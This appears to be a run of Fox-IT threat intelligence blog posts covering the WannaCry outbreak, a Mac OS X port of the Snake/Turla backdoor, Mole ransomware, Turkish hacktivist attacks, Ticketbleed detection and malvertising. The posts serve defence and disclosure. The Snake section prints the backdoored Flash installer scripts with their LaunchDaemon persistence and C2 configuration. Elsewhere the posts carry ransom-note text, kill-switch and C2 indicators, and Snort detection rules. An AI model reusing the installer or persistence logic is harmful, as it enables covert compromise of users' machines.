FAQ on the WanaCry ransomware outbreak

Last updated: May 16th 2017

A ransomware variant known as WanaCry/WanaCrypt0r has spread on a massive scale around the world since the 12th of May 2017. For more information about the context with regards to this WanaCry variant, see also our earlier blog. The section below outlines the frequently asked questions and corresponding answers.

Q: What makes this ransomware variant so dangerous?
A: This variant of WanaCry posesses the capability to spread itself as a so-called worm, beside the fact that the ransomware starts encrypting possible important data on systems. This means that the initial infection in a network is possibly not only system that could be impacted, but potentialy a large amount of systems in the internal network as well. This might result in your business processes coming to a grinding halt.

Q: What was the initial infection vector for the ransomware outbreak?
A: As there is no evidence that the initial infection vector is email, after 72 hours of research by the security community, Fox-IT believes the infection vector is more likely to be vulnerable machines directly exposing SMB to the internet.
At the moment it appears that the only confirmed infection vector is the usage of the ETERNALBLUE SMB exploit.

Q: Which versions of Windows are vulnerable?
A: The SMB exploit works on all versions of Windows, which have not yet been patched by MS17-010 on the 14th of March 2017, except for Windows 10 and Windows Server 2016, as they are already protected in the default configuration.

Q: What about Windows XP?
A: Microsoft has also released a patch for the unsupported operating systems Windows XP and Windows Server 2003.

Q: Are we safe from WanaCry if we apply the security update to Windows Server 2003?
A: Yes, but the patch KB4012598 applies specifically to this SMB exploit, known as ETERNALBLUE. However, similar NSA exploits, leaked by the Shadow Brokers, for vulnerabilities in Windows Server 2003 and Windows XP were published that lead to remote code execution (RCE). This includes the ERRATICGOPHER exploit for SMBv1 and the ESTEEMAUDIT exploit for RDP, which could be repurposed by malicious actors to create the next ransomworm.

Q: How many endpoints are affected?
A: The sinkhole statistics currently show a total of 160,000+ infections, this amount is still rapidly increasing.

Q: Should we block the ‘kill-switch’ domain on our firewall/proxy?
A: No you should not. When the malware is capable of reaching the ‘kill-switch’ domain it will not further spread the malware. Please note that when you block this domain, it will in fact continue spreading both internal and external.

Q: Is the kill switch domain being monitored (counting infections, origin infections)?
A: Yes the sinkhole statistics can be found here.

Q: Do we expect new attacks with the same Modus Operandi (MO)?
A: This is very likely, as this is a lucrative way of earning money for criminals. It is unknown at what moment in time a new attack will start and we do not have indications at this point in time that another campaign is scheduled.

Q: Where can I find the ‘kill switch’ domain?
A: Two ‘kill-switch’ domains have been seen in the wild:

iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
ifferfsodp9ifjaposdfjhgosurijfaewrwergwea.com

Q: Is the malware persistant and will it become active after a reboot of the end point.
A: Yes, a registry run-key is added to the registry:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\\ = “\tasksche.exe”

Q: How can I check if an endpoint was infected?
A: Though there is no specific script there are several specific indicators for this ransomware campaign which can be used to detect compromised machines, such as:

HKLM\SOFTWARE\WanaCrypt0r\\wd = “”
HKCU\Control Panel\Desktop\Wallpaper: “\@WanaDecryptor@.bmp”

Q: Is CIFS also vulnerable?
A: CIFS is a dialect of the SMBv1 protocol, and is impacted by this vulnerability.

Q: What impact will disabling SMB v1 have on end users?
A: Please note that this might differ depending on the situation. It is highly recommended to follow the best practices with regards to applying patches, meaning that a thorough impact assessment needs to take place to determine the actual impact of disabling SMBv1. Please note that at least those systems that could solely communicate via SMBv1 will be impacted, for example an old file sharing system.

Q: What are Anti-Virus vendors doing about this?
A: It seems logical that most cybersecurity companies are currently working on finding out all of the details that are related to this attack. It also seems very likely that all cybersecurity vendors are creating prevention and detection capabilities. Though new detection or prevention capabilities can only be applied if updates for these products are being downloaded and installed. We would not encourage customers to focus and wait on these vendors to prevent these kind of attacks but rather focus on installing the Microsoft update (MS17-010) that will prevent the spreading completely.

Q: What if infected laptops are currently offline because people are enjoying their weekends and are returning on monday?
A: It depends on which stage the infection is in the victim machine. If the machine has already been infected and was half way during the infection then it is very likely that the victim machine will continue encrypting files and start spreading when it will become active again. Therefor we strongly suggest to install the Microsoft update (MS17-010).

Q: What are the chances that a new campaign will be launched with more or improved functionality?
A: Based on our experience it is very likely that the same or other attacker(s) will start launching new campaigns rather sooner then later. We expect that they have learned from the small mistakes they have made in the initial version, such as not registering the ‘kill switch’ domain. They could also improve the malwares functionalities that can bypass current prevention or detection techniques. Therefor we strongly suggest to install the Microsoft update (MS17-010).

Additionally, the exploitation of this vulnerability will serve as an example for other (cyber) criminals seeking to achieve similar goals, so called copycats.

Q: Do we have to block the the ‘kill switch’ domain in the firewall, or other security controls like Proxy Servers?
A: NO! Do not block access to the unique ‘kill switch’ domain as infected clients will then start using the SMB exploit against reachable machines that are vulnerable.

The unique ‘kill-switch’ domain has been registrered by a known security researcher. By doing this the ransomware and the spreading mechanism used in the current malware campaign will not function.
If you block access to this domain then an infected client will start encrypting all of your files and will start spreading to available vulnerable devices.

Q: Does the ‘kill-switch’ domain need a valid HTTP connection or is resolving this domain name enough for the malware to stop functioning?
A: Yes, the ‘kill-switch’ domain does need a valid HTTP connection to a webserver listening on port 80. If the malware is not able to make a succesfull connection on port 80 it will start the ransomware and spreading process.

Q: Is the Linux Samba equivalent also vulnerable?
A: No, the Linux Samba protocol is not vulnerable to this exploit, only the Microsoft SMB protocol, without the latest Microsoft patch (MS17-010) installed, is affected.

Q: There are some reports of WannaCry variants with no ‘kill-switch’ functionality, have you seen this?
A: Yes, Fox-IT has this variant. It seems that someone modified the original malware sample. Likely with a common tool like hexedit. There has been another sample where the ‘kill switch’ domain has been completely patched out, thus resulting in a corrupt binary. Fox-IT is actively monitoring for new versions of the WanaCry ransomware.

Q: Has the ransomware’s implementation of the encryption process been looked at, to see if files are recoverable?
A: The crypto that is used in the malware seems to have been implemented in an unbreakable way. At this point decryption does not seem possible.

Q: Is there anything known about what group is behind this ransomware campaign?
A: Fox-IT, like other security researchers, is investigating connections of WanaCry to other known groups.

Massive outbreak of ransomware variant infects large amounts of computers around the world

Today, May 12th 2017, a ransomware variant known as WanaCry is being spread on a massive scale around the world.
Once a computer is infected it will attempt to infect other machines on the same network using a recently patched vulnerability in the Windows SMB protocol.

Update: We have published an FAQ to answer additional questions about the ransomware outbreak

Prevention

  • Apply Windows update MS17-010
  • Microsoft has also released a patch for Windows XP.
  • Disable the outdated protocol SMBv1
  • Do not allow connections to the RDP or SMB protocol directly from the internet
  • Isolate unpatched or unsupported systems from the internal network
  • Make back-ups and verify that they can be restored

About this campaign

This ransomware campaign is especially dangerous as it spreads itself through the internal network using a recently patched Windows vulnerability.
Once a machine is infected it will scan the entire internal network and infect vulnerable machines.

Machines are not required to be connected to the internet for the encryption process to take place.

The exploit used by this ransomware campaign was leaked by a group known as the ‘Shadow Brokers’ and has now been repurposed by the attackers behind this campaign to infect machines in internal networks. Microsoft has released a patch for this specific vulnerability (MS17-010) on March 14th 2017. Machines that have been patched are not vulnerable to the exploit, but could still be infected through other infection methods such as phishing e-mails.

Impact

After looking at the ransomware’s code Fox-IT noticed that the malware had a hardcoded kill switch which could disable all functionality.
Once the ransomware is running on a victim’s machine it tries to connect to the domain iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com.
If the connection succeeds, the binary exits and will not start encrypting files nor start spreading.

It appears that a fellow security researcher (@MalwareTechBlog) spotted the domain and found out it was not registered by the attackers.
This was a sloppy mistake by the hackers, given the large campaign it was engaged in.
This security researcher has registered the domain name and as soon it was replying to requests it seems that the kill switch in the malware became active. This means that anyone who has received the actual phishing email but did not open it yet appears to have been saved.
The domain seems to be registered at 17:08:04 CEST. This could be one of the possible exaplanations as to why the hardcoded Bitcoin wallets have not received a large amount of Bitcoins.

The large amount of damage caused today and all international press attention have given everybody a heads up of what to expect.
With the majority of the big organisations starting with their weekend, offices are closed. System administrators and security personal could use this weekend to take prevention, detection and response measures. If everyone comes back in the office by Monday and a new wave of phishing attacks would start, without a kill-switch, the damage could be far less than expected at this stage. Though we have learned a lot, the cyber criminals will have as well.

Detection

Snort signatures from Emerging Threats are available for the ETERNALBLUE exploit:

alert tcp any any -> $HOME_NET any (msg:"ET EXPLOIT Possible ETERNALBLUE MS17-010 Heap Spray"; flow:to_server,established; content:"|ff|SMB|33 00 00 00 00 18 07 c0 00 00 00 00 00 00 00 00 00 00 00 00 00|"; offset:4; depth:25; content:"|08 ff fe 00 08 41 00 09 00 00 00 10|"; within:12; fast_pattern; content:"|00 00 00 00 00 00 00 10|"; within:8; content:"|00 00 00 10|"; distance:4; within:4; pcre:"/^[a-zA-Z0-9+/]{1000,}/R"; threshold: type threshold, track by_src, count 12, seconds 1; classtype:trojan-activity; sid:2024217; rev:1;)
alert tcp any any -> $HOME_NET any (msg:"ET EXPLOIT Possible ETERNALBLUE MS17-010 Echo Request (set)"; flow:to_server,established; content:"|00 00 00 31 ff|SMB|2b 00 00 00 00 18 07 c0|"; depth:16; fast_pattern; content:"|4a 6c 4a 6d 49 68 43 6c 42 73 72 00|"; distance:0; flowbits:set,ETPRO.ETERNALBLUE; flowbits:noalert; classtype:trojan-activity; sid:2024220; rev:1;)
alert tcp $HOME_NET any -> any any (msg:"ET EXPLOIT Possible ETERNALBLUE MS17-010 Echo Response"; flow:from_server,established; content:"|00 00 00 31 ff|SMB|2b 00 00 00 00 98 07 c0|"; depth:16; fast_pattern; content:"|4a 6c 4a 6d 49 68 43 6c 42 73 72 00|"; distance:0; flowbits:isset,ETPRO.ETERNALBLUE; classtype:trojan-activity; sid:2024218; rev:1;)

The ransomware itself communicates using the Tor protocol.

Infection vector

One of the confirmed infection vectors is the usage of the ETERNALBLUE exploit directly on machines which have SMB directly exposed to the internet.

This chapter previously stated that we were in the process of verifying if phishing e-mails were also an infection vector for the WanaCry ransomware. Thus far Fox-IT has found no evidence that any phishing e-mails were related to this specific ransomware outbreak, and we have therefor removed the related indicators from this blog.

Command and Control servers

  • cwwnhwhlz52ma.onion
  • gx7ekbenv2riucmf.onion
  • xxlvbrloxvriy2c5.onion
  • 57g7spgrzlojinas.onion
  • 76jdd2ir2embyv47.onion

Bitcoin addresses

Available languages in the ransomware

  • m_bulgarian
  • m_chinese (simplified)
  • m_chinese (traditional)
  • m_croatian
  • m_czech
  • m_danish
  • m_dutch
  • m_english
  • m_filipino
  • m_finnish
  • m_french
  • m_german
  • m_greek
  • m_indonesian
  • m_italian
  • m_japanese
  • m_korean
  • m_latvian
  • m_norwegian
  • m_polish
  • m_portuguese
  • m_romanian
  • m_russian
  • m_slovak
  • m_spanish
  • m_swedish
  • m_turkish
  • m_vietnamese

 

 

Danny Heppener, Erik Schamper, Maarten van Dantzig & Frank Groenewegen
Fox-IT Threat Intelligence

Snake: Coming soon in Mac OS X flavour

Summary

Snake, also known as Turla, Uroburos and Agent.BTZ, is a relatively complex malware framework used for targeted attacks1.

Over the past year Fox-IT has been involved in multiple incident response cases where the Snake framework was used to steal sensitive information. Targets include government institutions, military and large corporates.

Researchers who have previously analyzed compromises where Snake was used have attributed the attacks to Russia2. Compared to other prolific attackers with alleged ties to Russia, such as APT28 (Fancy Bear) and APT29 (Cozy Bear), Snake’s code is significantly more sophisticated, its infrastructure more complex and targets more carefully selected.

The framework has traditionally focused on the Windows operating system, but in 2014 the first Linux variant was observed3.

Now, Fox-IT has identified a version of Snake targeting Mac OS X.
As this version contains debug functionalities and was signed on February 21st, 2017 it is likely that the OS X version of Snake is not yet operational.
Fox-IT expects that the attackers using Snake will soon use the Mac OS X variant on targets.

Functionality

For Windows versions the architecture of Snake typically consists of a kernel mode driver designed to hide the presence of several Snake components and to provide low-level access to network communication. Depending on the architecture of a targeted machine either kernel or user mode is used for network communication.

The OS X version of Snake is a port of the Windows version. References to explorer, Internet Explorer and Named Pipes are still present in the binary.

Install Adobe Flash Player.app

The Snake binary comes inside of a ZIP archive named Adobe Flash Player.app.zip which is a backdoored version of Adobe’s Flash Player installer.

The install.sh script is patched with the following lines:

#!/bin/sh
SCRIPT_DIR=$(dirname "$0")
TARGET_PATH=/Library/Scripts
TARGET_PATH2=/Library/LaunchDaemons
cp -f "${SCRIPT_DIR}/queue" "${TARGET_PATH}/queue"
cp -f "${SCRIPT_DIR}/installdp" "${TARGET_PATH}/installdp"
cp -f "${SCRIPT_DIR}/installd.sh" "${TARGET_PATH}/installd.sh"
cp -f "${SCRIPT_DIR}/com.adobe.update" "$TARGET_PATH2/com.adobe.update.plist"
"${TARGET_PATH}/installd.sh"
"${SCRIPT_DIR}/Install Adobe Flash Player"
exit $RC

The installd.sh that is invoked contains the following code:

#!/bin/bash
SCRIPT_DIR=$(dirname "$0")
FILE="${SCRIPT_DIR}/queue#1"
PIDS=`ps cax | grep installdp | grep -o '^[ ]*[0-9]*'`
if [ -z "$PIDS" ]; then
${SCRIPT_DIR}/installdp ${FILE} n
fi

The shell script checks if installdp is already running, if not it will start with:

/Library/Scripts/installdp /Library/Scripts/queue#1 n

Persistence

The backdoor is persisted via Apple’s LaunchDaemon service:

$ plutil -p /Library/LaunchDaemons/com.adobe.update.plist
{
"ProgramArguments" => [
0 => "/Library/Scripts/installd.sh"
]
"KeepAlive" => 1
"Label" => "com.apple.update"
"OnDemand" => 1
"POSIXSpawnType" => "Interactive"
}

Codesigning details

In order for an Application to be run on OS X it has to be signed with a valid certificate issued by Apple or it would be blocked by GateKeeper (unless configured otherwise). The following, likely stolen, developer certificate was used to sign the fake Adobe Flash installer which includes the Snake binary:

Executable=Install Adobe Flash Player.app/Install
Identifier=com.addy.InstallAdobeFlash
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20200 size=390 flags=0x0(none) hashes=12+3 location=embedded
Hash type=sha1 size=20
CandidateCDHash sha1=ffc1a65f9153c94999212fb8bd7e3950eca035ae
Hash choices=sha1
CDHash=ffc1a65f9153c94999212fb8bd7e3950eca035ae
Signature size=4231
Authority=Developer ID Application: Addy Symonds (EHWBRW848H)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Signed Time=21 Feb 2017 08:55:36
Info.plist entries=22
TeamIdentifier=EHWBRW848H
Sealed Resources version=2 rules=12 files=86
Internal requirements count=1 size=188

Fox-IT has informed Apple’s security team with the request to revoke the certificate.

Debug build

Several strings found throughout the binary indicate that this version is in fact a debug build.

fwrite("Usage: snake_test e[vent]|n[ormal]\n", 0x30uLL, 1uLL, *__stderrp_ptr);
fprintf(v16, "[%s:%s:%d] %s\n", "../../../snake/snake_test.c", "main", 86LL, err);

An interesting observation is the fact that the contents of a temporary file storing command output are converted using KOI8-R encoding, designed to cover the Russian language, which uses the Cyrillic alphabet.

ascii2uni(koi8_str, unicode_str, -1LL, "KOI8-R");

This indicates that the developers tested with Russian command output (encoded using the KOI8-R codepage). On systems where the command output is displayed in another language (and another codepage), text would be incorrectly respresented in Cyrillic characters.

Queue file

Builds of Snake generally contain a Queue file. Queue files are used to store Snake’s configuration data, module binaries and queued network packets.

$ python MM_snake_queuefile.py queue
OFFSET STREAM TYPE ID SIZE WRITTEN DATA
0x0000006c 00000001 0002 00000227 00000010 2017-02-10 12:23:22 '\x98\xa7w{\xc7\xcc4\x03-\xdcz\x0b\xc9,`\x1c'
0x000000bc 00000001 0002 00000228 00000010 2017-02-10 12:23:22 '\x90*\xa6\xc5c\x89H\xe2>\x9fS\x1f\xb2\x0b\xf8\xb7'
0x0000010c 00000001 0002 00000229 00000010 2017-02-10 12:23:22 '\x95\x9a\xdf\x82\xf8l\xbe.YR)\xcc\x1a{\xac\x8f'
0x0000015c 00000001 0002 000000df 00000009 2017-02-10 12:23:22 '300000\x00'
0x000001a5 00000001 0002 000000e0 00000009 2017-02-10 12:23:22 '600000\x00'
0x000001ee 00000001 0002 00000190 00000009 2017-02-10 12:23:22 '20000\x00'
0x00000237 00000001 0002 000000e1 00000009 2017-02-10 12:23:22 '4096\x00'
0x00000280 00000001 0002 000000e2 00000009 2017-02-10 12:23:22 '65536\x00'
0x000002c9 00000001 0002 00000143 00000009 2017-02-10 12:23:22 '4096\x00'
0x00000312 00000001 0002 00000144 00000009 2017-02-10 12:23:22 '65536\x00'
0x0000035b 00000001 0002 00000001 00000009 2017-02-10 12:23:22 '1000\x00'
0x000003a4 fffffffd 0002 00000229 00000010 2017-02-10 12:23:22 '\xfb \xb20\x87\xb9m\xa2\x80!\x80\xcc\x1aJbX'
0x000003f4 00000001 0002 00000008 00000011 2017-02-10 12:23:22 '0xfd4488e9\x00'
0x00000445 00000001 0002 00000009 00000009 2017-02-10 12:23:22 '0\x00'
0x0000048e 00000001 0002 00000064 00000009 2017-02-10 12:23:22 '2\x00'
0x000004d7 00000001 0002 00000065 00000021 2017-02-10 12:23:22 'enc.unix//tmp/.gdm-socket\x00'
0x00000538 00000001 0002 00000066 00000031 2017-02-10 12:23:22 'enc.frag.reliable.doms.unix//tmp/.gdm-selinux\x00'
0x000005a9 00000001 0002 00000070 00000029 2017-02-10 12:23:22 'read_peer_nfo=Y,psk=!HqACg3ILQd-w7e4\x00'
0x00000612 00000001 0002 00000071 00000019 2017-02-10 12:23:22 'psk=R@gw1gBsRP!5!yj0\x00'
0x0000066b 00000001 0002 000000c8 00000009 2017-02-10 12:23:23 '1\x00'
0x000006b4 00000001 0002 000000c9 00000029 2017-02-10 12:23:23 'enc.http.tcp/car-service.effers.com:80\x00'
0x0000071d 00000001 0002 000000d4 00000029 2017-02-10 12:23:23 'psk=1BKQ55n6#OsIgwn*,ustart=bc41f8cd.0\x00'
0x00000786 00000001 0002 0000012c 00000009 2017-02-10 12:23:23 '1\x00'
0x000007cf 00000001 0002 0000012d 00000029 2017-02-10 12:23:23 'enc.http.tcp/car-service.effers.com:80\x00'
0x00000838 00000001 0002 00000138 00000029 2017-02-10 12:23:23 'psk=1BKQ55n6#OsIgwn*,ustart=bc41f8cd.0\x00'

The following transport chains are configured in this queue file:

enc.unix//tmp/.gdm-socket read_peer_nfo=Y,psk=!HqACg3ILQd-w7e4
enc.frag.reliable.doms.unix//tmp/.gdm-selinux psk=R@gw1gBsRP!5!yj0
enc.http.tcp/car-service.effers.com:80 psk=1BKQ55n6#OsIgwn*,ustart=bc41f8cd.0

Obfuscated strings

Snake binaries contain strings that can be obtained through snake_name_get() call. These strings are stored as a pair of 0x40 byte blobs that are XOR-ed against each other. In this binary the blobs only contain placeholders that are yet to be replaced by the actual values, which is another indication that this Snake binary is not yet ready to deploy to targets.

00187e20 00 00 00 00 00 30 31 32 41 30 34 44 45 43 42 43 |.....012A04DECBC|
00187e30 34 34 31 65 34 39 43 35 32 37 42 32 37 39 38 46 |441e49C527B2798F|
00187e40 35 34 43 41 37 51 55 45 55 45 5f 50 41 54 48 5f |54CA7QUEUE_PATH_|
00187e50 55 4e 49 58 00 00 00 00 00 00 00 00 00 00 00 00 |UNIX............|
00187e60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00187ea0 00 00 00 00 00 30 31 32 41 30 34 44 45 43 42 43 |.....012A04DECBC|
00187eb0 34 34 31 65 34 39 43 35 32 37 42 32 37 39 38 46 |441e49C527B2798F|
00187ec0 35 34 43 41 37 4d 45 4a 49 52 4f 44 5f 50 41 54 |54CA7MEJIROD_PAT|
00187ed0 48 5f 44 41 52 57 49 4e 00 00 00 00 00 00 00 00 |H_DARWIN........|
00187ee0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|

Indicators of compromise

Files

/Library/LaunchDaemons/com.adobe.update.plist
/Library/Scripts/installd.sh
/Library/Scripts/queue
/var/tmp/.ur-*
/tmp/.gdm-socket
/tmp/.gdm-selinux

SHA256:

b8ee4556dc09b28826359b98343a4e00680971a6f8c6602747bd5d723d26eaea Install Adobe Flash Player.app.zip
5b7792a16c6b7978fca389882c6aeeb2c792352076bf6a064e7b8b90eace8060 Install
0a77f1b59c829a83d91a12c871fbd30c5c9d04b455f497e0c231cd21104bfea9 install.sh
7848f7808af02ba0466f3a0687cf949c4d29a2d94b035481a3299ec519aaaa30 Install Adobe Flash Player
d5ea79632a1a67abbf9fb1c2813b899c90a5fb9442966ed4f530e92715087ee2 Installdp
b6df610aa5c1254c3af5b2ff806562c4937704e4ac248577cdcd3e7e7b3578a0 com.adobe.update
6e207a375782e3c9d86a3e426cfa38eddcf4898b3556abc75889f7e01cc49506 installd.sh
92721d719b8085748fb66366d202457f6d38bfa108a2ecda71eee7e68f43a387 queue

Network

The following domain is configured in Snake's queue file for HTTP network transport:

car-service.effers.com

The resolving IP belongs to a Satellite communications provider:

83.229.87.11

Though Snake is typically spread using spear-phishing e-mails and watering hole attacks Fox-IT has not yet observed this sample being spread in the wild.

Jelle Vergeer, Krijn de Mik, Mitchel Sahertian, Maarten van Dantzig & Yun Zheng Hu
Fox-IT Threat Intelligence

References

A Mole exposing itself to sunlight

With the daily growth of the different kinds of ransomware and distribution techniques, Fox-IT’s Security Operations Center was investigating a new ransomware called Mole. This ransomware is currently being spread by a social engineering exploit kit to trick the user in downloading a malicious executable.

The ransomware author of Mole made a small mistake, which gives everyone the statistics of all the infected clients.

Distribution of Mole

The social engineering exploit-kit tricks the user in downloading and installing a malicious “plugin” for Office.

website

After executing the malicious “plugin”, the user receives a fake pop-up displaying an error message. Although the message indicates that the installation has failed, it’s an indicator that ransomware is successfully executed. After displaying the fake error message, certain processes will be terminated, the Windows backups used for recovery will be deleted and the encryption process will be initiated.

2

Once the encryption process is done, all the files will have the .MOLE extension and a ransom note will be displayed. Currently it’s not possible to recover your files for free, the only solutions is to clean the pc from the infection and restore from a recent backup.

What makes this ransomware different?

Compared to all the other ransomware currently being spread, Mole isn’t any different.
Except that the author of the Mole-ransomware made a small mistake, the statistics of Mole’s infections are openly accessible.

3

4

While tracking the infection process, Fox-IT noticed a sudden growth in infections within few hours’ time. The current total of infections is 500+ and growing, further investigation indicates that almost 50% of the IP’s were unique. The fact that around the half of the IP’s are unique, could be because companies are being targeted.

1 United States 86
2 Great Britain 17
3 Germany 12
4 Korea 11
5 India 11
6 Netherlands 10
7 China 10
8 Canada 8
9 France 6
10 Norway 5

Top 10 unique IP infections per country

5

Indicators of compromise

Hash: 5ca18c9f5ec26a30de429accf60fc08b0ef785810db173dd65c981a550010dde (pluginoffice.exe)
Hash: e6591a9389c7b82d59949b8c5660e773b86dff1fa3909f780cb8c88bbc85646c (plugin-office.exe)

Hostname: digitalecosystems.com (download)
Hostname: network.mrtg.belcenter.net (download)
Hostname: brutenutrition.net (download)
Hostname: bettermannow.com (download)

IP: 212.47.254.187 (C2 server)

Ransom note:

All your important files were encrypted on this computer.
You can verify this by click on see files an try open them.
Encryption was produced using unique public key RSA-1024 generated for this computer.
To decrypted files, you need to obtain private key.
The single copy of the private key, with will allow you to decrypt the files, is locate on a secret server on the internet.
The server will destroy the key within 78 hours after encryption completed.
To retrieve the private key, you need to  Contact us by email , send us an email your DECRYPT-ID-xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx number
and wait for further instructions.
For you to be sure, that we can decrypt your files – you can send us a single encrypted file and we will send you back it in a decrypted form.
Please do not waste your time! You have 72 hours only! After that The Main Server will double your price!

E-MAILS ADRESS:
oceanm@engineer.com
oceanm@india.com

Turkish hacktivists targeting the Netherlands: high noise, low impact

As a result of increased political tensions between The Netherlands and Turkey, a surge in activity from several Turkish hacker groups has been observed by Fox-IT.

Most activities observed thus far appear to be aimed at defacement and disruption of online Dutch infrastructure. Most of the methods and techniques used to achieve this goal are relatively simple and can be executed by an individual with basic knowledge and skills.

Targets of ‘disruption attacks’, in the form of Distributed Denial of Service (DDoS) attacks, appear to have been directly related to the conflict between Turkey and The Netherlands, with regards to the denial of two of Turkey’s ministers from visiting The Netherlands on March 11th 2017. Some of the targeted websites had difficulties defending against the DDoS attacks, such as stemwijzer.nl and kieskompas.nl, resulting in downtime, just one day before the Dutch elections.

List of Dutch DDoS targets

Defacements were seen across seemingly random Twitter accounts and Dutch websites, carried out by individuals which gathered on publically accessible hacking forums, where hackers were called to arms, using operation names such as Hollanda Operasyonu (translated: Holland Operation).

An example of a WordPress website (iwiweb.nl) defaced, using the recently disclosed WordPress content injection vulnerability, can be seen on the image below:

 

Most of these defacement attempts can be stopped by following basic security guidelines, such as regularly updating WordPress & other software installed on the webserver.

The full write-up describes several methods and techniques used by the Turkish hacker groups in order to compromise, deface or disrupt online Dutch infrastructure.

Download the write-up ‘Turkish Hacktivism targeting The Netherlands’

Detecting Ticketbleed (CVE-2016-9244)

On Thursday February 9th the vulnerability named ’Ticketbleed’ was made public. The name of this vulnerability does not just sound similar to Heartbleed, but also shares the same implication: remote reading of uninitialized memory. At the time we published Snort IDS detection rules for the Heartbleed vulnerability in OpenSSL, and have now decided to do the same for the F5 vulnerability: Ticketbleed.

About Ticketbleed:
The vulnerability that would later become known as Ticketbleed, was identified by Filippo Valsorda following a support ticket at Cloudflare. The symptoms were failing connections between applications using the TLS Library of the Go programming language and F5 BIG-IP appliances. Filippo identified that SSL resumption requests were failing due to an assumption of the Session Ticket ID length in F5’s TLS stack. This exposes up to 31 bytes of memory per session, a lot less than Hearbleed, which leaked 64k bytes at a time. For more technical details see Finding Ticketbleed post by Filippo.

Mitigation:
Those running vulnerable F5 Appliances have two options to mitigate this vulnerability. One option is to disable Session Tickets entirely on the F5, this should stop the leaking of memory immediately and at virtually no cost. The recommended fix is to upgrade to the latest firmware which plugs this specific problem entirely as described in the following KB article K05121675.

Detection:
At Fox-IT we frequently write IDS detection rules, especially for customers, APTs, hacking tools or new vulnerabilities like Ticketbleed. The Ticketbleed website bears the following warning for those writing IDS signatures to detect the vulnerability:

The issue can be identified by passive traffic monitoring, as the Session ID field is unencrypted.

However, I’d like to strongly discourage IDS vendors from making signatures that simply detect Session IDs shorter than 32 bytes. Any length between 1 and 32 bytes is legal according to the RFC specification.

The Go standard library legitimately uses 16 bytes Session IDs, and browsers considered using 1 byte Session IDs for this purpose. It’s important for security software not to needlessly constrain future decisions in that direction.

Taking this into account, we wrote two signatures for Snort IDS. The first rule searches for ‘Client Hello’ packets that have a session identifier that is shorter than 32 bytes. Using the ‘flowbits’ feature of Snort, the second signature looks for a ‘Server Hello’ packet that does contain a 32 byte session identifier. Writing rules to match binary protocols such as TLS can be challenging and has a higher chance of false positives. While this signature has not resulted in any False Positives on our side, we welcome any feedback as a result of these rules.

Rules:
The two rules can be found on our GitHub Gists:

https://gist.github.com/fox-srt/bc59eb69dc8f261f97f9623bde885f4b

When trying to verify hits in Wireshark we used the following expression filters:

Identify packets containing SSL session identifiers:

ssl.handshake.session_id_length

Search for session identifiers smaller than 32 bytes and equal to 32 bytes:

(ssl.handshake.session_id_length > 0 && ssl.handshake.session_id_length < 32) || ssl.handshake.session_id_length == 32

If the above filter returns two packets, you are likely dealing with a vulnerable F5 appliance. As can be seen in the following screenshot:

ticketbleed_wireshark

Wireshark filter matching Client en Server Hello with different ‘Session ID’ lengths.

Special thanks to Yun Zheng Hu for writing these rules!

Malvertising: Not all Java from java.com is legitimate

Isn’t it ironic getting a Java exploit via java.com, the primary source for one of the most common used browser plugins? Current malvertising campaigns are able to do this. This blog post details a relatively new trend: real-time advertisement bidding platforms being infiltrated by cyber criminals spreading malware.

Malvertising

 

Conclusion

Malvertising has changed over the years starting with exploitation of weak advertisement management panels and has now evolved into pretending to be a legit third party advertiser with social engineering. The current malvertising techniques are quite deceptive and most of the times only noticeable at the client side.

Combating this malvertising technique is hard due to the large layered setup of the bidding platforms currently in place. It can be a malicious advertiser 3 layers down in the chain but it can also be on the 1st level. Trust is the current system many advertisers use but it seems to be insufficient for today’s malvertising campaigns and techniques, a new system needs to be implemented in order to combat them.

Findings in network monitoring

Over the last week, from Tuesday august 19th until Friday august 22nd, the Security Operations Center of Fox-IT’s ProtACT service observed multiple high-profile websites redirecting their visitors to malware. These websites have not been compromised themselves, but are the victim of malvertising. This means an advertisement provider, providing its services to a small part of a website, serves malicious advertisement aimed at infecting visitors with malware.

While monitoring network traffic to and from workstations we observed a higher than usual amount of infections. When investigating these incidents in depth we noticed that they were infected with advertisements served via high-profile websites. During this period at least the following websites were observed redirecting and/or serving malicious advertisements to their visitors:

  • Java.com
  • Deviantart.com
  • TMZ.com
  • Photobucket.com
  • IBTimes.com
  • eBay.ie
  • Kapaza.be
  • TVgids.nl

The advertisement in this case included the Angler exploit kit. Upon landing on this exploit kit a few checks were done to confirm whether the user is running a vulnerable version of either Java, Flash or Silverlight. If the user was deemed vulnerable the exploit kit would embed an exploit initiating a download of a malicious payload, in this campaign it was the Asprox malware. This whole process of malvertising towards an exploit kit is also visualized in the image at the top of this post.
Please note, a visitor does not need to click on the malicious advertisements in order to get infected. This all happens silently in the background as the ad is loaded by the user’s browser.

One aspect of advertisement networks that makes tracking these threats really complicated is ‘retargetting’. Retargetting is the process of one or multiple ad and content providers leaving tracking data, cookies or other files, so the next time an advertiser can deliver different advertisement as was shown the previous time. A website that rents advertisement space can sometimes show retargetted advertisement without knowing. The way it works is that a user with an interesting set of tracking cookies and other metadata for a certain adprovider is retargetted from the original advertisement content on the website to the modified or personalized data. We have seen examples where the website that helped with the ad redirect to infect a user had no idea it was helping the delivery of certain content for a certain adprovider.

While half the world is already familiar with exploitation of browser plugins, keep in mind drive-by and water-hole attacks are not solely focusing on the common browsers. A couple of months ago we also noticed advertisement loaded by the ‘Skype’-application was also serving malicious content.

In both cases Fox-IT contacted the affected advertiser, AppNexus in these cases, to quickly stop the malvertising.

The problem

The biggest problem with these malicious advertisements is that separating good from bad is a difficult process in the world of online advertising. With specific schemes such as real-time bidding, bad advertisements can remain hidden for extended periods of time. The Dutch website tweakers.net has recently published a detailed article about the problem here.

AppNexus as an example for this case, is one of the companies providing real-time bidding on advertisements and is used by many of the top ranking websites.

What is real-time bidding?

